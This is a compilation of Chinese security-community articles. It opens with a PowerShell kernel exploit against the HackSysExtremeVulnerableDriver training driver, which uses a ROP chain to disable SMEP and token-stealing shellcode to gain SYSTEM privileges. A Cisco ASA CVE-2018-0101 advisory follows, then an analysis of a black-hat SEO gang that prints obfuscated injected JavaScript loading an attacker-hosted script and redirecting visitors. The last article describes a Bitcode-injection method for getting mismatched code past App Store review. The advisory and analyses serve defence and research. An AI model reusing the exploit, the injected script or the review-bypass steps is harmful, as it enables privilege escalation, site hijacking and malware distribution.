Function LeakBaseAddress(){
$dwByte = 0
$status=[bool] [EVD2]::EnumDeviceDrivers(0, 0, [ref]$dwByte)
if(!$status){
echo $("[*] Unable to enum device.... with error 0x{0:x}`n" -f [EVD2]::GetLastError())
}
$ptrAddress = [Uint32[]](9)*0x1000
$status=[bool] [EVD2]::EnumDeviceDrivers([UInt32[]]$ptrAddress, $dwByte+10, [ref]$dwByte)
# echo $("Address is {0:x}" -f $ptrAddress[0])
return $ptrAddress[0]
}
$hDevice = [EVD2]::CreateFile("\\.\HackSysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite,[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if($hDevice -eq -1){
echo "`n[*] Unbale to open this driver...`n"
Return
}
echo "`[+] The Device object is $($hDevice) "
# then we need create an array with buffer
[Int32]$dwSize = 0x820
# +0x4+0x8+0x4+0x4
# alloc buffer for shellcode
$Shellcode = [Byte[]] @(
#---[Setup]
0x53, # push ebx
0x56, # push esi
0x57, # push edi
0x60, # pushad
0x33, 0xC0, # xor eax, eax
0x64, 0x8B, 0x80, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
0x8B, 0x80, 0x80, 0x00, 0x00, 0x00, # mov eax, [eax + EPROCESS_OFFSET]
0x8B, 0xC8, # mov ecx, eax (Current _EPROCESS structure)
# 0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
#---[Copy System PID token]
0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID)
0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET |
0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx |
0x75, 0xED, # jnz ->|
0x8B, 0x90, 0xFC, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
0x89, 0x91, 0xFC, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
#---[Recover]
0x61, # popad
0x33, 0xC0, # NTSTATUS -> STATUS_SUCCESS :p
0x83, 0xc4, 0x1c, # add esp, 1ch
0x5D, # pop ebp
0xC2, 0x08, 0x00 # ret 8
)
[IntPtr]$Pointer = [EVD2]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)
$EIP = [System.BitConverter]::GetBytes($Pointer.ToInt32())
echo "[+] Payload size: $($Shellcode.Length)"
echo "[+] Payload address: $("{0:X8}" -f $Pointer.ToInt32())"
$leakAddress = LeakBaseAddress
echo $("Address is {0:x}" -f $leakAddress)
$dwSegBaseAddr = 0x401000
$dwSegOffset = 0x1000
$dwBasePOPEAX = 0x0048BF1D
$dwBaseMOVCR4 = 0x0057DF86
$dwRealMOVCR4 = $dwBaseMOVCR4 - $dwSegBaseAddr + $leakAddress + $dwSegOffset
$dwRealPOPEAX = $dwBasePOPEAX - $dwSegBaseAddr + $leakAddress + $dwSegOffset
$dwCR4 = 0x406e9
echo "[+] pop eax is $($dwRealPOPEAX) `n[+] mov cr4 is $($dwRealMOVCR4)`n"
# finally we write buffer
$Buffer = [Byte[]](0x41)*$dwSize + [System.BitConverter]::GetBytes($dwRealPOPEAX) + [Byte[]](0x41)*8 + [System.BitConverter]::GetBytes($dwCR4) + [System.BitConverter]::GetBytes($dwRealMOVCR4) + $EIP
[EVD2]::DeviceIoControl($hDevice, 0x222003, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero)|Out-null
### 攻击结果
不知道为啥，提权有时候会失败，不过失败了似乎也没有进入蓝屏的样子…
使用powershell进行攻击的结果如下 | 社区文章 |
# 思科ASA安全设备远程代码执行和拒绝服务漏洞(CVE-2018-0101)预警更新
##### 译文声明
本文是翻译文章，文章来源：cert.360.cn
原文地址：<https://cert.360.cn/warning/detail?id=9ac3d26f7ba7c68ccc3b7762cb646a2b>
译文仅供参考，具体内容表达以及含义原文为准。
> 报告编号： B6-2018-013101
>
> 报告来源： 360CERT
>
> 报告作者： 360NetOPS, 360CERT
>
> 更新日期： 2018-02-06
## 0x00 更新
2018年2月5日，思科经过进一步调查，确认和更新了受此漏洞影响的其它产品，同时，思科也提供了对应的的更新版本。
360CERT监测到， **目前相关PoC已经被公开，建议大家尽快更新升级** 。
_注:360NetOPS和360CERT测试验证。_
## 0x01 背景
思科ASA(Adaptive Security Appliance)是一款兼具防火墙，防病毒，入侵防御和虚拟专用网（VPN）功能的安全设备。
思科FTD(Firepower Threat
Defense)是一个统一的软件映像，其中包括思科ASA功能和FirePOWER服务。这个统一的软件能够在一个平台上提供ASA和FirePOWER的无论是硬件还是软件的所有功能。
思科公司在周一发布了针对ASA和FTD设备软件的补丁程序，该补丁修复影响ASA软件可导致远程代码执行和拒绝服务的漏洞。该漏洞影响版本基本覆盖了近8年的所有ASA产品,
新出的FTD产品也部分受影响。
## 0x02 漏洞描述
该漏洞是由于在思科ASA软件的XML解析器中的漏洞可能允许未经身份验证的远程攻击者重新加载受影响的系统或远程执行代码。由于内存不足，ASA也有可能停止处理传入的虚拟专用网络（VPN）认证请求。该漏洞是由于处理恶意XML加载时分配和释放内存的问题造成的。攻击者可以通过向受影响系统上的易受攻击的接口发送精心设计的XML数据包来利用此漏洞。该漏洞获得CVE编号CVE-2018-0101，CVSS
评分为满分10分，因为它很容易遭利用，而且无需在设备进行认证。思科表示已注意到漏洞详情遭公开，不过指出尚未发现漏洞遭利用的迹象。
## 0x03 漏洞影响
#### 漏洞触发条件
* ASA启用安全套接字（SSL）服务或IKEv2远程访问的VPN服务；
* 响应端口暴露在Internet上，访问范围不可控；
* ASA运行的版本是受影响的版本。
#### 漏洞影响设备
此漏洞影响在以下思科产品上运行的Cisco ASA软件：
* 3000 Series Industrial Security Appliance (ISA)
* ASA 5500 Series Adaptive Security Appliances
* ASA 5500-X Series Next-Generation Firewalls
* ASA Services Module for Cisco Catalyst 6500 Series
* Switches and Cisco 7600 Series Routers
* ASA 1000V Cloud Firewall
* Adaptive Security Virtual Appliance (ASAv)
* Firepower 2100 Series Security Appliance
* Firepower 4110 Security Appliance
* Firepower 4120 Security Appliance
* Firepower 4140 Security Appliance
* Firepower 4150 Security Appliance
* Firepower 9300 ASA Security Module
* Firepower Threat Defense Software (FTD)
* FTD Virtual
易受此漏洞攻击的ASA功能：
## 0x04 修复建议
Cisco已经提供了修复该漏洞新版本,覆盖所有受影响设备，经过验证,升级修复还是比较顺利的。相关PoC已经公开，经测试PoC可用，建议大家尽快更新升级。
#### 漏洞检查流程
1. 检查系统是否启用了webvpn的功能
show running-config webvpn
1. 检查系统版本
show version | include Version
#### 升级对应版本列表
**ASA列表：**
**FTD列表：**
## 0x05 更新说明
版本2
增加PoC漏洞验证
更新漏洞触发条件
更新漏洞影响设备
添加ASA受影响功能列表
更新升级软件稳定版本列表
## 0x06 时间线
**2018-01-29** CISCO发布漏洞公告
**2018-01-31** 360-NetOPS 和 360CERT发布预警
**2018-02-05** CISCO发布公告更新
**2018-02-06** 360-NetOPS 和 360CERT 更新预警版本2
## 0x07 参考链接
1. [Cisco Adaptive Security Appliance Remote Code Execution and Denial of Service Vulnerability](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180129-asa1)
2. [Cisco Fixes Remote Code Execution Bug Rated 10 Out of 10 on Severity Scale](https://www.bleepingcomputer.com/news/security/cisco-fixes-remote-code-execution-bug-rated-10-out-of-10-on-severity-scale/) | 社区文章 |
# 概述
由于互联网入口流量主要被搜索引擎占据，网站在搜索引擎中的排名直接影响到市场营销效果，因此SEO服务应运而生。SEO(Search Engine
Optimization)全称为搜索引擎优化，是指利用搜索引擎的规则提高网站在相关搜索引擎内的自然排名。SEO服务分为两种：一种是合法的技术手段，通过站内优化、站外优化、内容建设等合理手段提升网站排名；第二种是使用作弊手段快速提升网站在搜索引擎内的排名，比如使用蜘蛛池、暗链、站群、客户端劫持、服务端劫持等黑客技术手段，这种通常称为黑帽SEO。
黑帽SEO服务的对象通常为非法的产品或网站。与合法的SEO技术服务相比，黑帽SEO的效果非常快速，能够在短时间内提升排名进行快速推广，且推广的网站内容不受法律约束。黑客的主要目标是牟取非法的经济利益，黑帽SEO是黑客快速变现的重要手段。在地下网络世界已经形成了一条完整的黑色产业链：黑客利用网站存在的安全漏洞，通过入侵手段获取网站的控制权并植入后门，将后门出售给黑帽SEO运营者，黑帽SEO通过暗链、网站劫持等技术手段篡改网站内容，为黄、赌、赌等非法站点进行搜索引擎推广。
阿里云安全团队于近日跟踪到了一个利用web漏洞入侵网站并通过劫持网站首页进行批量SEO推广的黑产团伙
。此黑产团伙控制网站数量巨大，推广的网站多为非法的博彩类网站，对互联网产业存在巨大的危害。被入侵网站往往被植入多个后门，可被黑客重复利用，成为黑产的牟利工具，存在巨大的安全风险。该黑产团伙的上游黑客组织掌握了大量IP基础设施，为了绕过安全防御，每天使用数千个代理/秒拨IP进行疯狂入侵。
由于该黑产团伙控制的外部链接域名注册邮箱均为dasheng123123@gmail.com，因此我们将其命名为DaSheng。
# 被控制网站分布
经过长期跟踪发现，仅2019年1月到3月，该黑产团伙就控制并利用了至少12700个站点。从被植入暗链网页的顶级域名分布来看，".com"占比最多，占总数的72%。被植入暗链的网站存在为数不少的非营利组织/政府网站，绝大部分为地方性行业协会网站，但也有像中国XXX发展研究中、中国XXX发展联盟等全国性协会网站。行业协会/政府网站具有较高公信力，黑帽SEO“傍”上这些网站能够在搜索引擎里快速提高排名，但是发布的“黄赌毒“信息严重影响了网站的公信力。网站存在暗链也意味着存在严重的安全漏洞，如果不及时修复有可能引发重大的网络安全事件。
图1:被劫持网站顶级域名分布
图2:某政府网站被植入暗链
# 黑帽SEO手法分析
该黑产团伙通过被入侵网站的webshell后门在网站首页的头部插入如下代码，该代码会修改页面title、keywords、description，并判断浏览者是否是百度搜索引擎，如果不是搜索引擎则将网站titile修改为合法内容，以达到隐藏自己的目的：
<title>北京赛车官网开奖_北京赛车开奖网站【实时更新】</title>
<meta name="keywords" content="北京赛车开奖结果,北京赛车开奖记录,北京赛车开奖网站,北京赛车开奖直播,北京赛车开奖直播平台,北京赛车官方开奖,北京赛车开奖结果记录"/>
<meta name="description" content="北京赛车官方开奖网站【YY234.COM】,时时精准提供北京赛车开奖记录,北京赛车开奖视频,北京赛车开奖结果,北京赛车在线直播,打造全网最佳的北京赛车开奖直播平台"/>
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="LEO YOUNG 李洋地板- By Orange NT"}</script>
<script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('l["\\e\\c\\1\\m\\i\\8\\n\\0"]["\\7\\4\\9\\0\\8"](\'\\h\\2\\1\\4\\9\\3\\0 \\0\\j\\3\\8\\d\\6\\0\\8\\k\\0\\5\\f\\a\\r\\a\\2\\1\\4\\9\\3\\0\\6 \\2\\4\\1\\d\\6\\s\\0\\0\\3\\2\\q\\5\\5\\7\\7\\7\\b\\1\\3\\e\\a\\2\\p\\b\\1\\c\\i\\5\\j\\o\\1\\b\\f\\2\\6\\g\\h\\5\\2\\1\\4\\9\\3\\0\\g\');',29,29,'x74|x63|x73|x70|x72|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6a|x3e|x3c|x6d|x79|x78|window|x75|x6e|x6c|x38|x3a|x76|x68'.split('|'),0,{}))
</script>
被修改的内容通过HTML的ASCII编码隐藏，还原后为常见的博彩类关键词：
titile:北京赛车官网开奖北京赛车开奖网站【实时更新】
keywords:北京赛车开奖结果北京赛车开奖记录北京赛车开奖网站北京赛车开奖直播北京赛车开奖直播平台北京赛车官方开奖北京赛车开奖结果记录
description:北京赛车官方开奖网站【】时时精准提供北京赛车开奖记录北京赛车开奖视频北京赛车开奖结果北京赛车在线直播打造全网最佳的北京赛车开奖直播平台
第二段js脚本是经过混淆编码的，执行后得到新的js，并链接到黑产团伙控制的外部javascript
< script type = "text/javascript" > eval(function(p, a, c, k, e, d) {
e = function(c) {
return (c < a ?"": e(parseInt(c / a))) + ((c = c % a) > 35 ?String.fromCharCode(c + 29) : c.toString(36))
};
if (!''.replace(/^/, String)) {
while (c--) d[e(c)] = k[c] || e(c);
k = [function(e) {
return d[e]
}];
e = function() {
return '\\w+'
};
c = 1;
};
while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
return p;
} ('l["\\e\\c\\1\\m\\i\\8\\n\\0"]["\\7\\4\\9\\0\\8"](\'\\h\\2\\1\\4\\9\\3\\0 \\0\\j\\3\\8\\d\\6\\0\\8\\k\\0\\5\\f\\a\\r\\a\\2\\1\\4\\9\\3\\0\\6 \\2\\4\\1\\d\\6\\s\\0\\0\\3\\2\\q\\5\\5\\7\\7\\7\\b\\1\\3\\e\\a\\2\\p\\b\\1\\c\\i\\5\\j\\o\\1\\b\\f\\2\\6\\g\\h\\5\\2\\1\\4\\9\\3\\0\\g\');', 29, 29, 'x74|x63|x73|x70|x72|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6a|x3e|x3c|x6d|x79|x78|window|x75|x6e|x6c|x38|x3a|x76|x68'.split('|'), 0, {})) < /script>
/
执行后的js：
<script type="text/javascript" src="https://www.cpdas8.com/ylc.js"></script>
该js代码会自动向百度站长平台和360站长平台推送网页内容，并通过referrer判断浏览者是否来自搜索引擎，如果是则跳转到真实的被推广网站。
(function () {
/*百度推送代码*/
var bp = document.createElement('script');
bp.src = '//push.zhanzhang.baidu.com/push.js';
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(bp, s);
/*360推送代码*/
var src = document.location.protocol + '//js.passport.qihucdn.com/11.0.1.js?8113138f123429f4e46184e7146e43d9';
document.write('<script src="' + src + '" id="sozz"><\/script>');
})();
document.writeln("<script LANGUAGE=\"Javascript\">");
document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )");
document.writeln("location.href=\"https://2019c2.com\";");
document.writeln("</script>");
我们在搜索引擎中搜索其推广的暗链关键词，可以看到多个被入侵的网站在搜索引擎处在排名靠前的位置。
图3:被黑帽SEO篡改的合法网站
# 攻击向量
黑帽SEO团伙使用的webshell后门通常是由上游的黑客组织提供，经阿里云安全团队研究跟踪到了DaSheng的最大“供货商”。该黑客团伙从2019年1月份开始变得异常活跃，主要使用2018年爆发的2个Thinkphp5远程代码执行漏洞，偶尔也会使用其它的web漏洞。根据其使用的webshell文件名和主要的入侵方式，我们将其命名为ThinkphpDD。
该团伙的攻击payload中会从<http://43.255.29.112/php/dd.txt>
下载恶意代码，该代码是一个webshell后门。通常入侵成功几天之后就会被DaSheng黑产团伙利用，为了能够长期控制站点，DaSheng会在被入侵网站的不同目录植入多个webshell后门，该后门具备较强的免杀性。
图4:被植入的webshell后门
黑客团伙使用的攻击payload：
# IP基础设施
通常攻击者使用的IP由于存在恶意攻击行为会被IPS、防火墙等安全设备拦截。ThinkphpDD为了绕过安全防护获取最大的利益，使用了大量IP进行网络攻击，从2019年1月开始每天使用几千个IP进行攻击。而且使用的IP复用率低，被该团伙利用过的IP已超过10万个。使用过的IP绝大部分来自中国，占比89%。结合阿里云的代理IP威胁情报，至少有86%的IP是匿名代理或秒拨IP。可见该团伙为了获取黑产利益投入巨大。
图5:黑客使用的IP数量趋势
图6:黑客攻击次数趋势
图7:黑客使用的IP国家分布
图8:黑客使用的IP来源分布
# 安全建议
1. 用户应及时更新服务，或修补网站漏洞，避免成为入侵的受害者；
2. 用户可对网站源代码进行检测，及时清理被植入的网站后门、恶意代码；
3. 建议使用阿里云安全的下一代云防火墙产品，能够及时阻断恶意攻击、配置智能策略，能够有效帮助防御入侵；
4. 对于有更高定制化要求的用户，可以考虑使用阿里云安全管家服务。购买服务后将有经验丰富的安全专家提供咨询服务，定制适合您的方案，帮助加固系统，预防入侵。
# IOCs
* www[.]cpdas8[.]com
* www[.]bcdas8[.]com
* www[.]dasv8[.]com
* 43.255.29.112 | 社区文章 |
# Xcode 7 Bitcode的工作流程及安全性评估
|
##### 译文声明
本文是翻译文章，文章来源：Proteas of 360 Nirvan Team
译文仅供参考，具体内容表达以及含义原文为准。
**简介**
随着 Xcode 7 的发布,苹果为 Xcode 增加了一个新的特性 Bitcode [1]:
新的特性往往意味着新的攻击面。本文首先介绍什么是 Bitcode 及 Bitcode 相关的工作流程,在熟悉了 Bitcode 的工作流程后,接下来是评估
Bitcode 相关的攻击面,最后介绍针对各个攻击面的测试方法及目前的测试结果。
****
**什么是 Bitcode**
简单来说,Bitcode 是 LLVM-IR 在磁盘上的一种二进制表示形式。关于 Bitcode 详细描述,请参考[2],这里会用例子来让大家对
Bitcode 有个感性认识。
先写一个简单的 C 程序,功能是计算两个数的和,代码如下:
int add(int a, int b)
{
int c = a + b;
return c;
}
---
将如上程序保存为 add.c,然后我们将源程序编译成 Bitcode:
clang -emit-llvm -c add.c -o add.bc
---
执行如上命令会生成 add.bc,我们使用二进制编辑器打开生成的文件,查看文件内容:
由于 Bitcode 是 LLVM-IR 的二进制表示形式,如上图,在不了解编码方式的前提下基本不可读。下面我们把 Bitcode 转换成文本形式:
llvm-dis add.bc -o add.ll
---
用文本编辑器打开 add.ll,可以看到 add 函数的 LLVM-IR 内容如下:
; ModuleID = ‘add.bc’
target datalayout = “e-m:o-i64:64-f80:128-n8:16:32:64-S128”
target triple = “x86_64-apple-macosx10.11.0”
; Function Attrs: nounwind ssp uwtable
; 如下是 add() 对应的 LLVM-IR
; 可以注意到这种表示形式会申请很多变量,
; 感兴趣的同学可以了解下 Static Single Assignment (SSA)
define i32 @add(i32 %a, i32 %b) #0 {
%1 = alloca i32, align 4 ; 变量 1,4 字节空间,后续用来存放参数 a
%2 = alloca i32, align 4 ; 变量 2,4 字节空间,后续用来存放参数 b
%c = alloca i32, align 4 ; 变量 c,4 字节空间,后续用来存放结果 c
store i32 %a, i32* %1, align 4 ; 将 a 保存到变量 1 中
store i32 %b, i32* %2, align 4 ; 将 b 保存到变量 2 中
%3 = load i32, i32* %1, align 4 ; 将立即数 1 保存到变量 3 中
%4 = load i32, i32* %2, align 4 ; 将立即数 2 保存到变量 4 中
%5 = add nsw i32 %3, %4 ; 将变量 3 与变量 4 的和保存到变量 5 中
store i32 %5, i32* %c, align 4 ; 将变量 5 保存到结果 c 中
%6 = load i32, i32* %c, align 4 ; 将结果 c 保存到变量 6 中
ret i32 %6 ; 返回变量 6
}
---
对比源码与已经注释过的 add() 函数的 LLVM-IR 表示,大家应该对 LLVM-IR 有个感性认识了,下面我们一起看下 Bitcode 的工作流程。
**工作流程**
苹果关于工作流程的描述:” When you archive for submission to the App Store, Xcode compiles
your app into an intermediate representation. The App Store then compiles the
bitcode down into the 64- or 32-bit executables as necessary.”
如上的工作流程可以分为两个阶段:
1.在将应用上传到 AppStore 时,Xcode 会将程序对应的 Bitcode 一起上传。
2.AppStore 会将 Bitcode 重新编译为可执行程序,供用户下载。
下面会将 Bitcode 相关的完整的工作流程分解为如下几个问题或子过程并分别做说明:
1.Where is the Bitcode?
2.嵌入 Bitcode 的方法
3.从 Bitcode 生成可执行程序的方法
Where is the Bitcode?
参考苹果的描述,只有在 Archive 时才会生成 Bitcode,于是建立了一个测试工程:
执行 Archive,然后查看生成的包结构:
经过分析在如上的目录中并没有直接找到 Bitcode,接下来检查生成的 MachO。使用 MachOView 加载生成的 MachO,结果如下图:
从上图可以看到最终的可执行程序中多了 LLVM 相关的 Segment 与 Section。继续查看对应的 Section 的信息:
如上图,Section __bundle 中保存的是一个 xar 文档,提取出 xar 文档,然后使用如下命令解开文档:
解开:xar -x -f XXX.xar
---
解开后,可以看到 Bitcode 文件。
总结:程序对应的 Bitcode 被 Xcode 打包成 xar 文档,嵌入的 MachO 中。
下面我们看下在 MachO 中嵌入 Bitcode 的方法。
嵌入 Bitcode 的方法
方法一
通过对比 Archive 与非 Archive 时的编译参数,发现只要在如下图所示的位置添加编译参数:-fembed-bitcode,即可让 Xcode
普通编译时也在 MachO 中嵌入 Bitcode:
方法二
方法一虽然很方便,但是 IDE
做了太多工作,不便于理解具体过程,接下来我们自己编译可执行文件。从源代码生成可执行程序主要分为:编译、链接两个过程,为了控制这两个过程,下面会讲解
Makefile 的配置,及这两个过程用到的参数。
在使用 Makefile 编译 iOS 程序时,有些通用的配置,如下的通用配置,供大家参考:
SDK_iOS := $(shell xcodebuild -version -sdk iphoneos Path)
CC_iOS := $(shell xcrun –sdk iphoneos –find clang)
LD_iOS := $(CC_iOS)
SYS_ROOT = -isysroot $(SDK_iOS)
SDK_SETTINGS_iOS = $(SYS_ROOT) -I$(SDK_iOS)/usr/include
-I$(SDK_iOS)/usr/local/include
MIN_VER_iOS = -miphoneos-version-min=8.0
ARCH_iOS = -arch arm64
---
以 main.m 为例说明编译需要的参数:
CC_FLAGS_COMMON = -fblocks -std=gnu99 -fobjc-arc -g -fembed-bitcode
CC_FLAGS=-x objective-c $(ARCH_iOS) $(CC_FLAGS_COMMON)
COMPILE_iOS_OBJ=$(CC_iOS) $(MIN_VER_iOS) $(SDK_SETTINGS_iOS) $(CC_FLAGS)
$(COMPILE_iOS_OBJ) -c main.m -o main.o
---
将 main.o,AppDelegate.o,ViewController.o 链接成可执行程序的参数:
LDFLAGS=$(SYS_ROOT)
-dead_strip
-fembed-bitcode
-fobjc-arc -fobjc-link-runtime
LINK_iOS_BIN=$(LD_iOS) $(ARCH_iOS) $(MIN_VER_iOS) $(LDFLAGS)
LDFLAGS_CUSTOM=-framework Foundation -framework UIKit
$(LINK_iOS_BIN) $(LDFLAGS_CUSTOM) AppDelegate.o ViewController.o main.o -o
XBCTest
---
大家把如上的 Makefile 片段稍加修改,整理到一个 Makefile 文件中,就可以通过 make 命令嵌入 Bitcode 到可执行程序。
方法三
在这个方法中我们会将上面的步骤进一步分解,具体过程为:
源码àBitcodeàxarà可执行程序
源码àBitcode
在这个过程中我们将 iOS 应用的源码编译成 Bitcode,下面会 main.m 为例来说明使用的参数:
CC_FLAGS_COMMON_BC = $(CC_FLAGS_COMMON)
COMPILE_iOS_32_BC = $(CC_iOS) -cc1 -x objective-c $(CC_FLAGS_COMMON_BC)
-triple thumbv7-apple-ios8.0.0 -disable-llvm-optzns -target-abi apcs-gnu
-mfloat-abi soft $(SYS_ROOT)
COMPILE_iOS_64_BC = $(CC_iOS) -cc1 -x objective-c $(CC_FLAGS_COMMON_BC)
-triple arm64-apple-ios8.0.0 -disable-llvm-optzns -target-abi darwinpcs
$(SYS_ROOT)
$(COMPILE_iOS_64_BC) -emit-llvm-bc main.m -o main.bc
---
完成这个过程后,我们可以得到三个Bitcode 文件:
1.main.bc
2.AppDelegate.bc
3.ViewController.bc
Bitcodeàxar
在这一步我们会将如上得到的三个 Bitcode 文件打包到一个 xar 文档中。打包没什么特别,需要注意的是需要与 Xcode 生成的 xar
保持兼容,具体参数如下:
生成:xar –toc-cksum none -c -f BC.xar main.bc AppDelegate.bc ViewController.bc
---
xarà可执行程序
为了简化过程,这里我们会跳出 Makefile,使用 Xcode,首先清除如下的编译参数:
将刚刚生成的 BC.xar 拷贝到测试工程的根目录:
编辑工程设置的 Other Linker
Flags,添加:-Wl,-sectcreate,__LLVM,__bundle,$(SRCROOT)/BC.xar,如下图:
编译程序,查看生成的 MachO 文件,可以看到 Bitcode 已经被添加到了 MachO 中。
如上我们介绍了在 MachO 中嵌入 Bitcode 的方法,对应的是第一个过程:“在将应用上传到 AppStore 时,Xcode 会将程序对应的
Bitcode 一起上传”,下面我们说明第二个过程。
从 Bitcode 生成可执行程序的方法
第二个过程为:“AppStore 会将 Bitcode 重新编译为可执行程序,供用户下载”。第二个过程是在苹果的 Server
上进行的,我们没法直接获得细节,但是应该都是基于相同的工具链,我们可以模拟这个过程。
从 MachO 中提取 Bitcode
AppStore 拿到我们上传的 IPA 后,首先需要从 IPA 内的 MachO 文件中提取出包含 Bitcode 的 xar 文档。在 Xcode
的工具链中有个工具 segedit 可以用来从 MachO 提取 Section,提取 xar 的具体参数如下:
segedit ./XBCTest -extract “__LLVM” “__bundle” Embedded-BC.xar
---
提取到 xar 后,解开 xar:
解开:xar -x -f Embedded-BC.xar
---
得到如下几个 Bitcode 文件:
还可以使用 llvm-dis 工具将如上文件处理成可读形式,从而了解每个文件的内容。
生成可执行程序
在有了 Bitcode 后,接下来需要将 Bitcode 编译成可执行程序,分为两个过程:将 Bitcode 编译成 Object 文件;链接 Object
文件到可执行程序。
将 Bitcode 编译成 Object 文件
Makefile 片段如下:
COMPILE_iOS_BC_2_OBJ=$(CC_iOS) $(MIN_VER_iOS) $(SYS_ROOT) $(ARCH_iOS)
$(COMPILE_iOS_BC_2_OBJ) -c 1 -o 1.o
$(COMPILE_iOS_BC_2_OBJ) -c 2 -o 2.o
$(COMPILE_iOS_BC_2_OBJ) -c 3 -o 3.o
$(COMPILE_iOS_BC_2_OBJ) -c 4 -o 4.o
---
链接 Object 文件到可执行程序
Makefile 片段如下:
LDFLAGS=$(SYS_ROOT)
-dead_strip
-fobjc-arc -fobjc-link-runtime
LINK_iOS_BIN=$(LD_iOS) $(ARCH_iOS) $(MIN_VER_iOS) $(LDFLAGS)
LDFLAGS_CUSTOM=-framework Foundation -framework UIKit
$(LINK_iOS_BIN) $(LDFLAGS_CUSTOM) 1.o 2.o 3.o 4.o -o XBCTest
---
如上我们已经从 Bitcode 重新生成了可执行程序 XBCTest。
攻击面
我们先回顾下 Bitcode 在本地的工作流程:Xcode 将嵌入了 Bitcode 的 MachO 上传到
AppStore。通过分析可以发现这里存在两个问题:
1.MachO 与其中嵌入的 Bitcode 的一致性问题。即:能否把 程序B 的 Bitcode 嵌入到 程序A中。
2.AppStore 是否信任了 Xcode,而没有检查一致性问题,从而允许将 Malformed MachO 上传到 AppStore。
在分析了可能存在的问题后,我们认为如果 Bitcode 流程与功能存在缺陷,便可以对两个目标形成威胁:普通用户、苹果。
普通用户
由于 Bitcode 对普通用户是透明的,因此无法通过其弱点直接攻击用户。但是一致性问题是可能对普通用户造成威胁的,试想:如果提交 AppStore 审核的
程序A 中嵌入了含有恶意代码的Bitcode,普通用户就有可能从AppStore 下载到含有恶意代码的程序。
对于这种攻击方式我们将其叫做 Bitcode Injection,下文会详细介绍这种攻击的实施方法,及我们的测试结果。
**苹果**
如果 Malformed MachO 可以被上传到苹果的服务器,苹果的服务器相较于之前,主要需要进行两个额外的操作:解开 xar;编译
Bitcode。如果这两个过程出现问题,轻则可以在苹果的服务器上造成 DoS,重则可以在苹果的服务器上造成任意代码执行。
另外,Bitcode 原本是 LLVM-IR 的一种序列化形式,而 LLVM-IR
是一种中间形式,之前没有被直接暴露出来,现在完全开放了,而且又是二进制格式,这是很容易出问题的。从 Bitcode
生成可执行文件的过程主要由如下几个子过程组成:
1.基于平台无关的 IR的代码优化。
2.IR的平台相关化、合法化。
3.平台相关的优化、代码生成。
这些原本是编译器的内部过程,由于各种原因,传统的对编译器的测试主要集中在前端的 Parser 与 Lexer,现在借由 Bitcode
如上的一些中间或者后端过程也暴露了出来,如果如上的过程出现问题最糟糕的结果是可以控制编译器的指令生成。
以上是关于攻击面的分析,后文会介绍测试 xar 及 Bitcode 的思路,以及发现的问题。
**Bitcode Injection**
上文在介绍 Bitcode 工作流程时已经介绍了实施 Bitcode Injection
的方法,但是上面提到的方法不够简练,这里我们再介绍一种更简单的方法,主要的思路就是最大限度的利用 Xcode,这个方法的具体实施步骤为:
1.用 Xcode 建立工程XBCTest:
2.复制工程XBCTest,得到工程XBCTest2:
3.修改工程XBCTest2的源码,嵌入恶意代码:
4.Archive 工程XBCTest2:
5.获得 MachO,利用 segedit 从 MachO 中提取出含有 Bitcode 的 xar:
提取xar: segedit ./XBCTest -extract “__LLVM” “__bundle” BC.xar
---
6.修改工程XBCTest的链接标记,将提取的 xar: BC.xar 嵌入到工程XBCTest的 MachO文件中。
7.禁用工程XBCTest的 Bitcode 特性,Archive 并上传 AppStore:
我们在测试的过程中并没有嵌入恶意代码,而是从网上找个两个完全不同的应用,将其中一个的 Bitcode 嵌入到另一个的 MachO
中,并提交到AppStore。
在将应用提交到 AppStore 的过程中主要会进行两个方面的检查:Xcode 在本地进行静态分析;提交后,苹果的服务器还会进行检查。但是使用
Bitcode Injection 构造的应用可以通过这两项检查:
经过漫长的审核后,我们的应用被拒了,理由是:我们的应用与描述不符。在描述中我们的应用应该长成如下样子:
但是苹果的审核人员安装后,程序却长成这个样子:
这至少可以说明三个问题:
1.我们使用的 Bitcode Injection 方法没有问题。
2.苹果的审核人员审核的是从 Bitcode 编译出来的程序。
3.一致性是靠人肉区分的。如果嵌入对 UI 没有影响的恶意代码,还是有可能绕过审核的。
**测试xar**
思路
对 xar 进行模糊测试,生成数据的方法是基于标准的 xar 文档进行变异。
测试结果
目前主要 Fuzz 出一些空指针解引用问题。
测试 clang
思路
